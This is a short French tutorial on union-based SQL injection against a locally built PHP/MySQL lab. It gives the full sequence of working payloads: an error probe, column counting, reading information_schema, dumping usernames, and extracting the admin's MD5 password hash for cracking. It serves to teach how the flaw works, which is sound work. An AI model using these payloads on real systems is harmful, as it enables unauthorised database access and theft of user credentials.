Injection SQL 1

Pour ce tuto, on a créé une base MySQL et deux scripts PHP (index.php, auth.php) sur un serveur nginx en local

La requête dans le navigateur est du type

http://localchost/....../auth.php?id=1

Test de vulnérabilité
ajout de guillemet

auth.php?id=1'

mySQL renvoie une erreur – on est dans un cas de vulnérabilité

Recherche du nombre de champs dans la requête

auth.php?id=1 order by ..

recherche par tatonnement : 1, 2, 3, ..

auth.php?id=1 order by 5

provoque une erreur : il y a 4 champs

auth.php?id=-1 union select 1,2,3,4
profil de 1
utilisateur : 2
courriel : 4

Ceci nous indique l’ordre des champs dans la requête et montre qu’un des champs n’apparaît pas (3)…

Recherche du nom de la table (utile pour faire des requêtes)

auth.php?id=-1 union select null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database();--
Courriel : users

La table s’appelle users

Recherche du nom des colonnes dans la base

auth.php?id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'
Courriel : id,username,password,pass_decrypte,email,name

Evidemment, on va chercher le username de l’administrateur et son mot de passe.

Lancement de requêtes classique pour obtenir des informations contenues dans la base

Lister le contenu d’une colonne

auth.php?id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(username) FROM users

Courriel : user, admin, john

il y a un utilisateur admin
on a découvert le nom de la table users
on a découvert les colonnes username et password dans cette table
…. RUN baby RUN !!!

Afficher le champ d’une table

auth.php?id=-1 UNION SELECT 1,2,3,password FROM users WHERE username='admin'
Courriel : 5f4dc*************************

Un coup de MD5 decrypt et on trouve le mot de passe d’admin… Bazinga !